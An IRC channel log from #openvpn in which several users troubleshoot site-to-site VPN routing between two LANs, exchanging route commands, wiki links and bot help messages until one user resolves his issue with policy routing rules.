16:10 -!- JAVACODER [~JAVACODER@2.190.42.216] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
16:11 -!- dupondje [~dupondje@artemis.dupie.be] has quit [Remote host closed the connection]
16:13 -!- krantz [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
16:15 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 245 seconds]
16:17 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
16:17 -!- mode/#openvpn [+v s7r] by ChanServ
16:23 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
16:29 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
17:13 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:17 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has quit [Ping timeout: 256 seconds]
17:22 < jeev> i am successfully connected with two openvpn machines, linux on each, they're acting as the gateways for the LAN's, one is 192.168.1/24 and one is 10.0.0/24, i can using office B (10.0.0/24) ping a machine in office A (192.168.1/24) but when I try to ping from a machine behind 10.0.0/24, tcpdump shows it in eth0/1, not in tun0 so it never reaches office A, ii've got 192.168.1.0 10.10.10.1
17:22 < jeev> 255.255.255.0 UG 0 0 0 tun0
17:22 < jeev> 10.10.10.1 is office A tun0 ip, office B is 10.10.10.2
17:24 < jeev> i am not using ccd stuff
17:38 -!- p3rror [~p3rror@41.140.155.147] has joined #openvpn
17:43 -!- Guest88158 [~Leonassan@vivo/development/Leonassan] has joined #openvpn
17:46 -!- Guest88158 [~Leonassan@vivo/development/Leonassan] has quit [Read error: Connection reset by peer]
17:46 -!- Leonassan [~Leonassan@vivo/development/Leonassan] has joined #openvpn
17:46 < Leonassan> !welcome
17:46 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
17:46 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:47 < Leonassan> !route
17:47 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
17:47 <@vpnHelper> behind the server or client
17:53 < Leonassan> Ok, so here's where I get confused. Router 10.0.1.1 can ping/trace/connect to anything on 10.0.0.0/24 without an iroute entry. 10.0.0.1 is the openvpn server. However anything other than 10.0.1.1 on 10.0.1.0/24 cannot get to anything on 10.0.0.0/24 and vice versa. Is it the openvpn client (10.0.1.1) and server (10.0.0.1) can figure it out, but can't route anything else, or am I just stupid
17:53 < Leonassan> today? The same kernel routing entries (10.0.1.0/24 via 10.0.0.50 dev ppp0) worked under pptp, but changing that to (10.0.1.0/24 via 10.10.0.1 dev tap0) doesn't work. I was able to follow the information on the routing wiki entry until it started using acronyms unnecessarily.
17:54 < Leonassan> Also I have no "bad source address from client" messages in the syslogs of either system.
17:54 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
17:59 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-hsfeaugenxgtifmn] has joined #openvpn
18:04 -!- mdupont [~mdupont@flossk/mdupont] has joined #openvpn
18:04 < mdupont> howdy
18:04 < Leonassan> Hi
18:05 < mdupont> having a problem, connecting from home and from my work pc to the same vpn server
18:05 < Leonassan> Yeah I'm lost too and nobody else is talking.
18:05 < mdupont> and the connection is reset every minute
18:05 < mdupont> anyone seen that?
18:05 < mdupont> Leonassan, what is your problem?
18:06 < Leonassan> Repost: Ok, so here's where I get confused. Router 10.0.1.1 can ping/trace/connect to anything on 10.0.0.0/24 without an iroute entry. 10.0.0.1 is the openvpn server. However anything other than 10.0.1.1 on 10.0.1.0/24 cannot get to anything on 10.0.0.0/24 and vice versa. Is it the openvpn client (10.0.1.1) and server (10.0.0.1) can figure it out, but can't route anything else, or am I just
18:06 < Leonassan> stupid today? The same kernel routing entries (10.0.1.0/24 via 10.0.0.50 dev ppp0) worked under pptp, but changing that to (10.0.1.0/24 via 10.10.0.1 dev tap0) doesn't work. I was able to follow the information on the routing wiki entry until it started using acronyms unnecessarily.
18:06 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:07 < Leonassan> Of course, eth1 on this stupid system (static 10.0.0.1) keeps grabbing 10.0.0.11 for reasons I still don't understand.
18:07 < mdupont> let me parse this
18:08 < Leonassan> Take your time
18:08 < Leonassan> I'm trying to follow the directions on the wiki
18:09 < mdupont> ok
18:09 < mdupont> so your router is the openvpn server?
18:09 < Leonassan> Yes
18:10 < mdupont> what is the routeing table?
18:10 < Leonassan> It's got eth0, which is grabbing an IP from my ISP, and eth1, which is the LAN adapter
18:10 < Leonassan> mdupont: Via pastie I'm guessing? Or just a general "How things are set up" one?
18:10 < mdupont> yse
18:10 < mdupont> paste
18:11 < Leonassan> !paste
18:11 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
18:11 < Leonassan> http://pastie.org/private/lwpfw1euqgpcwm1lnn3k2g
18:11 < Leonassan> That's as of right now, it's at "basic" while I troubleshoot.
18:12 < mdupont> let me read
18:13 < mdupont> Leonassan, you have iptables?
18:13 < Leonassan> The general network setup is (network)10.0.1.0/24->(router)10.0.1.1->(router)10.0.0.1->(network)10.0.0.0/24, these two networks were connected with a pptp vpn but I wanted to increase the security, and before I accomplished that by issuing the commands "ip route add 10.0.1.0/24 via 10.0.0.50 dev ppp0" and "ip route add 10.0.0.0/24 via 10.0.0.50 dev ppp0" on the appropriate machines, which
18:13 < Leonassan> allowed for fully transparent interaction... openvpn doesn't seem to want to do that.
18:13 < Leonassan> Both routers are debian, mixed networks behind them.
18:14 < mdupont> Leonassan, you have iptables active? a firewall
18:15 < mdupont> how does a client use the router? the server does not act as a router normally
18:15 < mdupont> right?
18:17 -!- Leonassan [~Leonassan@vivo/development/Leonassan] has quit [Read error: Connection reset by peer]
18:18 -!- Guest88158 [~Leonassan@c-76-122-8-148.hsd1.fl.comcast.net] has joined #openvpn
18:18 -!- Guest88158 [~Leonassan@c-76-122-8-148.hsd1.fl.comcast.net] has left #openvpn []
18:18 -!- Leonassan [~Leonassan@c-76-122-8-148.hsd1.fl.comcast.net] has joined #openvpn
18:18 -!- Leonassan [~Leonassan@c-76-122-8-148.hsd1.fl.comcast.net] has quit [Changing host]
18:18 -!- Leonassan [~Leonassan@vivo/development/Leonassan] has joined #openvpn
18:18 < Leonassan> That'd be my connection dropping again as eth1 decides it wants a DHCP address despite being set to static..
18:19 < Leonassan> Anyway, the router is a debian box that normally handles, well, being a router, everything else is plugged into it and getting ip addresses and such.
18:20 < Leonassan> It's also the openvpn server because I don't have any spare machines.
18:20 < mdupont> Leonassan, you have iptables active? a firewall
18:20 < mdupont> is the firewall blocking the traffic?
18:20 < Leonassan> Yes, but if it rejects anything it logs it, and it's not logging anything
18:21 < mdupont> http://www.ducea.com/2006/08/01/how-to-enable-ip-forwarding-in-linux/
18:21 <@vpnHelper> Title: How to enable IP Forwarding in Linux - MDLog:/sysadmin (at www.ducea.com)
18:21 < mdupont> ok
18:21 < Leonassan> IP forwarding is already working, if it wasn't I wouldn't be able to connect to the internet from this computer
18:21 < Leonassan> And tap0 is set to just accept everything, since, well, if you're on the VPN you've already authenticated and a firewall beyond that is sort of overkill.
18:21 < mdupont> so you have a normal client that routes to it
18:21 < mdupont> but the openvpn is not routing/
18:21 < Leonassan> Correct
18:21 < mdupont> ok
18:22 < mdupont> lets see
18:22 < Leonassan> It's getting to the openvpn network, but then stopping, it looks like it's being routed from eth1 to tap0.. then stopping.
18:22 < mdupont> i see
18:22 < Leonassan> But the weird thing is.. the other client can ping through the VPN, but only from his openvpn client, none of his other machines (same setup) are having their traffic routed.
18:22 < mdupont> why dont you do this
18:23 < mdupont> try doing a ssh port forwarding
18:23 < mdupont> from inside the net
18:23 < mdupont> into the openvpn ip address space
18:23 < mdupont> adn see if you can connect to that from outside
18:23 < mdupont> via openvpn
18:23 < Leonassan> So from say.. 10.0.0.1 to 10.10.0.1?
18:23 < mdupont> well
18:23 < Leonassan> (10.10 is the openvpn space)
18:23 < mdupont> yeah
18:23 < mdupont> from your linux desktip
18:23 < mdupont> port forward your apache to the router
18:24 < mdupont> from  10.0.0.15:80 to 10.10.0.1:8080
18:24 < mdupont> where 15 is your linux desktop running apache
18:24 < Leonassan> You.. just completely lost me.
18:24 < mdupont> you can push your http port to another server
18:24 < mdupont> with a ssh port forwarding
18:24 < mdupont> so you have a linux desktop
18:25 < mdupont> running apache
18:25 < mdupont> and want to make that available to someone dialing in via openvpn?
18:25 < Leonassan> Not exactly.. I want the two networks to be able to see each other completely transparently the same way they did when I was running pptp
18:25 < mdupont> yes
18:25 < mdupont> i understaND
18:25 < mdupont> but this would be a test
18:25 < mdupont> you can login via openvpn and see the local network?
18:26 < Leonassan> I'm not sure what you mean by login via openvpn, it's a service I start on both routers.
18:26 < mdupont> i assume you can see all the services on the openvpn server itself that are listening on all addresses
18:26 < Leonassan> Oh!
18:26 < Leonassan> So you're saying connect to 10.0.1.1, then try to ssh to 10.10.0.1 and see if it's hitting the openvpn server?
18:26 < mdupont> well i dont remember what is what
18:27 < Leonassan> 10.0.1.1 is the other network's router/gateway
18:27 < mdupont> but basically you get an ip from your tun
18:27 < mdupont> so can you see any ports on 10.0.1.1
18:27 < mdupont> ?
18:27 < mdupont> nmap that
18:27 < Leonassan> Yes, I can connect to the VPN server from the VPN client using the VPN server's ip
18:27 < mdupont> and can you access any services running on that tun server
18:28 < Leonassan> It's tap, and I can SSH into it using 10.10.0.1 as the target IP
18:28 < mdupont> ok
18:28 < mdupont> and from there you can  access any other internal services?
18:28 < mdupont> in the network?
18:28 < Leonassan> So ssh from openvpn-client-1 to openvpn-server and then try to connect to anything on openvpn-server's network?
18:28 < mdupont> yes
18:29 < mdupont> or on the openvpn-server istself
18:29 < Leonassan> The openvpn server can see and contact the network normally, and if I ssh to the openvpn server via its openvpn ip address I can access the network as well.
18:29 < mdupont> cause you can port forward any local services to the openvpn-server
18:29 < mdupont> ok
18:29 < mdupont> so i guess your iptables are just not working
18:29 < Leonassan> Hang on, I think I see where I missed a lap in the conversation
18:30 < mdupont> try to allow all traffic
18:30 < Leonassan> I can connect to services, from the openvpn-client system, using the openvpn-server's address (10.0.0.1) INCLUDING things behind the server (10.0.0.6, for example)
18:30 < mdupont> ok great
18:31 < Leonassan> The problem is 10.0.1.2 (windows machine) can't do the same thing. It's not forwarding incoming traffic from the local network to the openvpn network
18:31 < mdupont> 1.2 is the client
18:31 < mdupont> and its routing table might be messed up
18:31 < mdupont> https://community.openvpn.net/openvpn/wiki/BridgingAndRouting you saw this?
18:31 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
18:32 < Leonassan> Yeah, it confused the hell out of me, I don't understand why simply pointing the two networks at each other via the openvpn connection doesn't work.
18:32 < mdupont> ok Leonassan i think you need to check each step
18:32 < mdupont> i think it is a client routing issue
18:32 < Leonassan> so going from 10.0.1.1 (router) to 10.0.0.6:80 works, but going from 10.0.1.2(machine using 10.0.1.1 as a gateway) to 10.0.0.6:80 doesn't
18:32 < mdupont> you might not be pushign the routes to thc lient
18:32 < mdupont> you might not be pushing the routes to the  client
18:33 < Leonassan> I don't understand how openvpn pushes routes. It says put in a line that's a network and a subnet, but at no point do you designate a target network, source, or interface.
18:33 < mdupont> you login in to the server
18:33 < mdupont> the server pushes a route that you manually configure on the server
18:33 < mdupont> to the client
18:33 < Leonassan> So basically "push 10.0.0.0 255.255.255.0" is saying "if traffic is designated for this network, send it over the vpn tunnel"?
18:34 -!- krantz [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 245 seconds]
18:34 < Leonassan> Ok, I think I'm getting closer to understanding this
18:34 < mdupont> yes
18:35 < mdupont> http://openvpn.net/index.php/open-source/documentation/howto.html
18:35 <@vpnHelper> Title: HOWTO (at openvpn.net)
18:35 < mdupont> see that
18:35 < mdupont> ok i gotta do something else
18:35 < mdupont> i hope this helped you
18:35 < Leonassan> Somewhat.. openvpn's really got to improve this setup process. I know pptp's insecure, but it's also not an unholy nightmare to configure.
18:36 < mdupont> ok, well i dont know if I can help with that
18:36 < Leonassan> Well no, but still :)
18:36 < Leonassan> Thanks with the help, I'll keep banging on it.
18:36 < mdupont> i am sure there are companies that can do this for you
18:38 -!- Leonassan [~Leonassan@vivo/development/Leonassan] has quit [Read error: Connection reset by peer]
18:39 -!- Leonassan [~Leonassan@vivo/development/Leonassan] has joined #openvpn
18:39 < Leonassan> !welcome
18:39 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:39 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:40 < Leonassan> !route
18:40 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
18:40 <@vpnHelper> behind the server or client
18:40 < Leonassan> !serverlan
18:40 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
18:40 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
18:41 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 264 seconds]
18:49 -!- master_of_master [~master_of@p4FF242F9.dip0.t-ipconnect.de] has joined #openvpn
18:49 < rob0> What exactly is easier about PPTP? Routing is routing, regardless of the transport layer.
18:52 -!- master_o1_master [~master_of@p4FF24A84.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
18:52 < Leonassan> All I had to do with pptp was give 10.0.1.0 a route to 10.0.1.1 and it worked, instead of having to futz around with iroutes.
18:52 < Leonassan> OpenVPN needs a "handle authentication and nothing else" mode.
18:53 < rob0> 10.0.1.0 and 10.0.1.1 are probably in the same subnet, unless using a point-to-point route?
18:54 < Leonassan> I typoed that, Let me switch out of cranky mode.
18:54 < rob0> generally a good idea
18:54 < Leonassan> Ok, previously my entire vpn "connection process" was pon connectionname, ip route add 10.0.0.0/24 via 10.0.0.50 dev ppp0 (on one network) and ip route add 10.0.1.0 via 10.0.0.50 dev ppp0. That was it, both networks forwarded traffic to each other and worked perfectly
18:55 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
18:55 < rob0> From what I remember of setting up pptpd in the bad old days, it sucked.
18:55 < Leonassan> However, pptp only supports lousy encryption, so I figured I'd switch to openvpn.. however I can't just say "Client1, connect to Server" and then issue the route command.
18:55 < Leonassan> I'm -thinking- it's because openvpn is acting as a DHCP server and doing a lot of work the router already does.
18:56 < rob0> The "DHCP server" is a Windows-only pretend thing.
18:56 < Leonassan> Isn't it handing out ip addresses in the range specified in the configs? My current client is getting 10.10.0.4, for example.
18:56 < Leonassan> Do you think I'd get similar "seamless" behavior if I put openvpn on the same subnet as my local network, the way I had pptpd set up?
18:56 < rob0> Right, but it's not DHCP except to Windows
18:56 < Leonassan> Gotcha.
18:57 < Leonassan> The way I had pptpd working was it would give out an ip in the 10.0.0.50-10.0.0.100 range, so the VPN clients were actually in the same range as the actual local network.
18:57 < rob0> maybe bridging ... but I would not recommend that. Routing is better for most uses.
18:57 < Leonassan> But I don't know if openvpn will cooperate with that.
18:58 < rob0> yes, that is similar to openvpn bridging
18:58 < Leonassan> Essentially the setup is FriendA has a network, with a debian box at the head of it which is connected to his modem on eth0 and a switch on eth1. He's 10.0.1.0/24
18:58 < Leonassan> I have the same setup, except I'm the openvpn server, and 10.0.0.0/24
18:58 < rob0> pptpd does proxy ARP which is in effect like a bridge
18:58 < Leonassan> Ah
18:58 < rob0> So yes, you have your "easy way", it's just the wrong way.
18:59 < Leonassan> I just want these two networks to be able to see each other, so his machine (10.0.1.2) can connect to, say, a webserver on 10.0.0.6
18:59 < rob0> The right way is to set routes on both sides so that everyone who needs to use the tunnel can get to what's on the other side.
18:59 < Leonassan> Which I thought I was doing, but once it hits 10.10 it stops.. sort of.. about half the time.
19:00 < Leonassan> If it helps any, I just got a message of "OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options", for both networks, which I am currently googling looking for a solution to.
19:01 < Leonassan> Of course, now I'm confused because one set of instructions was saying to use tap instead of tun, but now I'm getting errors saying I can't use iroute on a tap interface.
19:20 < Leonassan> Ok. I've switched it back to tun. I've entered a routing entry of 10.0.1.0/24 via 10.10.0.1 dev tun0, I can ping 10.0.1.1, but I cannot ping anything past 10.0.1.1. So how would I add a route from 10.10.0.0/24 so that traffic forwarded to 10.10.0.0/24 intended for 10.0.1.0/24 gets there?
19:23 < Leonassan> Almost seems like some sort of reverse route, instead of routing traffic going out, I need to route the traffic coming in
19:24 -!- jivee [~jive@69.136.92.21] has joined #openvpn
19:25 -!- Leonassan [~Leonassan@vivo/development/Leonassan] has quit [Read error: Connection reset by peer]
19:25 -!- Guest88158 [~Leonassan@c-76-122-8-148.hsd1.fl.comcast.net] has joined #openvpn
19:28 -!- GH0 [~GH0@unaffiliated/gh0] has quit [Quit: GH0]
19:28 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 264 seconds]
19:32 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:34 -!- Guest88158 [~Leonassan@c-76-122-8-148.hsd1.fl.comcast.net] has left #openvpn []
19:34 -!- Leonassan [~Leonassan@vivo/development/Leonassan] has joined #openvpn
19:42 < Leonassan> Ok, I was able to get the client network to be able to see my network by setting up ip masquerading, but I'm not getting the same effect on my end. Is there a way to do the equivalent of the routing pushes on the server the way I did them on the client?
19:45 < Leonassan> Or do I need to add a forward command to iptables to forward traffic from tun0 to something else?
19:47 < Leonassan> !welcome
19:47 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:47 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:47 < Leonassan> !route
19:47 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
19:47 <@vpnHelper> behind the server or client
19:48 < Leonassan> !serverlan
19:48 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
19:48 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
19:48 < Leonassan> !route_outside_openvpn
19:48 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
19:55 < jeev> i'm trying to do a serverlan without encryption, server mode, just using openvpn as ptp, is this ok?
19:58 < Leonassan> Just use pptpd and save yourself about 10 hours of grey hair.
19:58 < Leonassan> Seriously.
20:06 < jeev> heh
20:07 < Leonassan> I'm trying to figure out how to follow an instruction of: "add a route to the router so it knows how to reach the VPN subnet".. funny.. it appears to have such a thing.
20:08 < Leonassan> Isn't that what "10.10.0.0/24 via 10.10.0.5 dev tun0" is?
20:11 < Leonassan> Well, I guess I'll come back when there are more people around. I'm stuck.
20:13 < Leonassan> !goal
20:13 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
20:14 < Leonassan> If anyone gets back: My goal is a transparent VPN connection between two networks where the OpenVPN client is on one router and the OpenVPN server is on the other.
20:15 < jeev> Leonassan, i think that's right
20:15 < Leonassan> Yeah, except it doesn't work, and at this point I'm willing to dump my configs to a pastie and let someone else figure it out. I've been screwing with this damned thing for hours.
20:15 < Leonassan> in fact, I'm going to do that.
20:16 < jeev> lol
20:17 < Dar1us> Leonassan: so, what does netstat -nr or route list show?
20:17 < Dar1us> ie are the routes in place?
20:17 < Leonassan> Dar1us: I've turned off openvpn for the time being, the route to the server gets created on the client (as pasted above) when I connect the client, but the server is not creating a route back to the client, if I manually create the route I can ping the two routers, but nothing behind either one.
20:18 < jeev> i think we're having the same problem.
20:18 < Dar1us> ugh
20:18 < jeev> 192.168.1.0 10.10.10.1 255.255.255.0 UG 0 0 0 tun0
20:18 < Dar1us> I havent had enough coffee to deal with VPNs
20:19 < jeev> i've got that. i can't ping 192.168.1.1 from behind the VPN client, 1.1 is pretty much eth0 on the vpn server.
20:19 < jeev> i am successfully connected with two openvpn machines, linux on each, they're acting as the gateways for the LAN's, one is 192.168.1/24 and one is 10.0.0/24, i can using office B (10.0.0/24) ping a machine in office A (192.168.1/24) but when I try to ping from a machine behind 10.0.0/24, tcpdump shows it in eth0/1, not in tun0 so it never reaches office A, ii've got 192.168.1.0 10.10.10.1
20:19 < jeev> 255.255.255.0 UG 0 0 0 tun0
20:19 < jeev> that's what i had said.
20:19 < Leonassan> even more fun I had it working for about half an hour from the client to the server by enabling ip masquerading.. then it quit and I can't get it working again.
20:19 < jeev> Leonassan, one issue I always have is i need to flush iptables and redo it, then it starts to reply.
20:20 < Leonassan> Same, and have been
20:20 < jeev> so i can ping 10.10.10.1 which is vpn server, with 10.10.10.2 vpn client. i can ping 192.168.1.1 from 10.10.10.2 but i cannot ping 192.168.1.1 from 10.0.0.1 which sits on LAN portion of 10.10.10.2
20:20 < jeev> i dont even see it come in via tun0, it's going through the wrong int
20:21 < Leonassan> Exact same problem.
20:21 < jeev> the thing is, i'm sure i've done this before but i'm so busy i forget what i do and i never document it
20:22 < jeev> so 10.10.10.2's WAN is a DSL for now, when i tcpdump -vvvni eth1 icmp, i see 10.0.0.1 going out the public int.
20:22 < jeev> although i see it going as public ip to 192.168.1.1
20:22 < Leonassan> http://pastie.org/private/lrgacx4fqbiq7hpvioc2dg
20:22 < Leonassan> There it is! Probably way too much info.
20:23 < jeev> heh yea at least we both are having the same issue
20:23 < jeev> so if one figures it out..
20:24 < Leonassan> They can cite the difficulty of figuring it out, and the paucity of documentation, as a defense in court after they snap?
20:24 < Leonassan> This is not what I wanted to spend tonight doing. I have three brand new blades I need to configure and install and I already put in a 10 hour day...
20:25 < jeev> heh i've got a nightmare this weekend, this office couldn't get fiber installed in time, cable still isn't in, need to do folderredirection using 3mbit.
20:25 < Leonassan> I've been chasing down hardware failures for 3 weeks. It seems every time we get one server fixed/stabilized/recovered another goes down.
20:25 < Leonassan> And JOY of JOYS one of them was the head node for our slurm cluster.
20:25 < Leonassan> (Nobody ever set up a backup node)
20:25 < Leonassan> ((The guy who was supposed to left 3 years ago))
20:26 < Leonassan> (((I'm the department's webmaster and this somehow is my problem)))....
20:26 < Leonassan> We've got 3 sysadmins.. I have to fix it. Graaaaaaand.
20:27 < jeev> heh
20:30 < Dar1us> I setup a local wiki for documenting all that crap
20:30 < Leonassan> Oh, we have one.. that wasn't used very much, and the departmental turnover is huge.
20:31 < Dar1us> well, there's nothing stopping YOU using it so you don't get stuck later :)
20:33 < Leonassan> Of course, when the job is: "Webmaster, web applications developer, DBA (MySQL, Postgres,DB2, Oracle, and postgres), systems administrator(Windows, Mac, and Linux (Randing from Debian to RHEL and Solaris), vendor manager, desktop support, and anything else we can think of" with minimum 5 years experience and you're not even offering $50k.. People jump ship quiiiick.
20:33 < Leonassan> *ranging. It's late.
20:34 < jeev> anyway, no idea why this isn't routing properly.
20:34 < Leonassan> jeev: Honestly, I'd probably do better to just go to bed then fight with it, but if you don't need the security openvpn offers you could have that running in about 20 minutes using pptpd, I wasn't kidding on that one :)
20:35 < jeev> heh
20:35 < jeev> i've done this before i just can't remember
20:35 < Leonassan> I really hope you figure it out. I'm going to walk away from it for an hour and drink. Drinking = invention!
20:36 < jeev> well i finally have time to tonight in a few hors.
20:36 < jeev> hours
20:46 -!- raidz is now known as raidz_away
21:00 -!- jivee [~jive@69.136.92.21] has quit [Quit: Leaving]
21:00 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
21:13 -!- higuita [~higuita@2001:b18:400f:0:b454:d206:3e59:ee4b] has quit [Ping timeout: 245 seconds]
21:33 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has joined #openvpn
21:40 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has quit [Ping timeout: 245 seconds]
21:50 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has joined #openvpn
21:51 -!- p3rror [~p3rror@41.140.155.147] has quit [Ping timeout: 240 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 -!- locojay3 [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has quit [Ping timeout: 240 seconds]
22:04 -!- p3rror [~p3rror@41.248.197.186] has joined #openvpn
22:07 -!- krapper [krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
22:07 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
22:31 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
22:33 -!- cyberspace- [20253@109.74.194.224] has quit [Disconnected by services]
22:34 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
22:36 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
22:36 -!- Sjors_ [~sgielen@foo.kassala.de] has joined #openvpn
22:37 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
22:37 -!- krapper [krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
22:37 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds]
22:37 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 240 seconds]
22:37 -!- krapper [~krapper@territory.krapper.net] has joined #openvpn
22:37 -!- jeev [~j@unaffiliated/jeev] has quit [Ping timeout: 240 seconds]
22:37 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
22:37 -!- jeev [~j@216.244.71.131] has joined #openvpn
22:37 -!- jeev [~j@216.244.71.131] has quit [Changing host]
22:37 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
22:38 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
22:38 -!- raidz_away is now known as raidz
22:38 -!- raidz [~raidz@raidz.im] has quit [Changing host]
22:38 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
22:38 -!- mode/#openvpn [+o raidz] by ChanServ
22:40 -!- p3rror [~p3rror@41.248.197.186] has quit [Quit: Leaving]
22:43 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
22:45 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
23:12 -!- higuita [~higuita@2001:b18:400f:0:d9ee:db29:283e:928f] has joined #openvpn
23:30 < jeev> AHHHHHHHH< I GOT IT!
23:30 < jeev> in 5 minutes baby yeaz
23:30 <@EugeneKay> !beer
23:30 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
23:30 < jeev> i am doing multiwan, so i have ip rule's.
23:30 < jeev> ip route add table 300 default via 10.10.10.1
23:30 < jeev> ip rule add prio 98 from 10.0.0.0/24 to 192.168.1.0/24 lookup 300
23:31 < jeev> yeeeeeeeez
23:31 < jeev> yeez, mother f'in breaddd crumbs
23:31 < jeev> that would explain being able to connect from the router
23:31 < jeev> EugeneKay
23:32 <@EugeneKay> Your mother
23:32 < jeev> i am connecting two locations together so they can.. you know, ruin things.
23:32 < jeev> i originally was going to do ptp openvpn, no encryption but i guess it's best to use it
23:33 <@EugeneKay> Uh, ptp has nothing to do with encryption
